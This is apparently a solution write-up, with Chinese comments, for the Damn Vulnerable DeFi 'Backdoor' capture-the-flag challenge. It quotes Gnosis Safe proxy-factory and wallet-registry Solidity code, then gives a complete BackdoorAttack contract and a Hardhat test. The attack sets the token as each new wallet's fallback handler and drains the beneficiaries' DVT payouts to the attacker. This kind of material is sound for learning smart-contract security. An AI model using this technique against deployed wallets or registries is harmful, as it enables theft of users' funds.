moon

function deployProxy(
    address _singleton,
    bytes memory initializer,
    bytes32 salt
) internal returns (GnosisSafeProxy proxy) {
    require(isContract(_singleton), "Singleton contract not deployed");

    bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
    }
    require(address(proxy) != address(0), "Create2 call failed");

    if (initializer.length > 0) {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
                revert(0, 0)
            }
        }
    }
}

// 通過 nonce 創建代理合約
function createProxyWithNonce(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
    // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
    bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
    proxy = deployProxy(_singleton, initializer, salt);
    emit ProxyCreation(proxy, _singleton);
}

// 創建代理合約並回調 callback 合約的 proxyCreated 方法
function createProxyWithCallback(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce,
    IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
    uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
    proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
    if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}

if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);

function proxyCreated(
    GnosisSafeProxy proxy, // 代理合約
    address singleton, // 邏輯合約地址
    bytes calldata initializer, // 初始化的數據
    uint256
) external override {
    // 確保合約有 10 個 DVT
    require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
    // 獲取錢包地址
    address payable walletAddress = payable(proxy);

    // 確保調用者是 GnosisSafeProxyFactory
    require(msg.sender == walletFactory, "Caller must be factory");
    require(singleton == masterCopy, "Fake mastercopy used");

    // 確保 initializer 前四個字節是 GnosisSafe.setup 函數的 selector
    require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

    require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
    require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");       

    // 獲取錢包的所有者
    address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
    // 確保 owner 是受益人(只有受益人才能是錢包的所有者)
    require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

    // 取消 owner 作為受益人
    _removeBeneficiary(walletOwner);

    // 記錄 owner 擁有的錢包地址
    wallets[walletOwner] = walletAddress;

    // 轉入 10 DVT 到多簽錢包中
    token.transfer(walletAddress, TOKEN_PAYMENT);        
}

function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
) external {
    // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
    setupOwners(_owners, _threshold);
    if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
    // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
    setupModules(to, data);

    if (payment > 0) {
        // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
        // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
        handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
    }
    emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";

import "../backdoor/WalletRegistry.sol";

interface IGnosisSafe {
  function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
  ) external;
}

contract BackdoorAttack {
  constructor (
    address registry,
    address masterCopy,
    GnosisSafeProxyFactory walletFactory,
    IERC20 token,
    address[] memory beneficiaries
  ) {
    // 遍歷受益人, 創建錢包
    for (uint i = 0; i < beneficiaries.length; i++) {
      address beneficiary = beneficiaries[i];
      address[] memory owners = new address[](1);
      owners[0] = beneficiary;

      bytes memory initializer = abi.encodeWithSelector(
          IGnosisSafe.setup.selector, // setup 方法的 selector
          // 以下是 setup 方法的參數
          owners, // _owners
          1, // _threshold
          address(0), // to
          hex"00", // data
          address(token), // fallbackHandler
          address(0), // paymentToken
          0, // paymentToken
          address(0x0) // paymentReceiver
      );
      
      // 創建錢包
      GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(
        masterCopy, // 邏輯合約地址
        initializer, // setup calldata
        0, // saltNonce
        WalletRegistry(registry) // callback
      );
      address wallet = address(proxy);
      
      // 調用錢包(代理合約)的 transfer 方法，相當於調用邏輯合約的 transfer 方法。即相當於調用 fallbackHandler.transfer，也即 token.transfer
      IERC20(wallet).transfer(msg.sender, token.balanceOf(wallet));
    }
  }
}

it('Exploit', async function () {
  await ethers.getContractFactory('BackdoorAttack', attacker).then(contract => contract.deploy(
    this.walletRegistry.address,
    this.masterCopy.address,
    this.walletFactory.address,
    this.token.address,
    users
  ))
})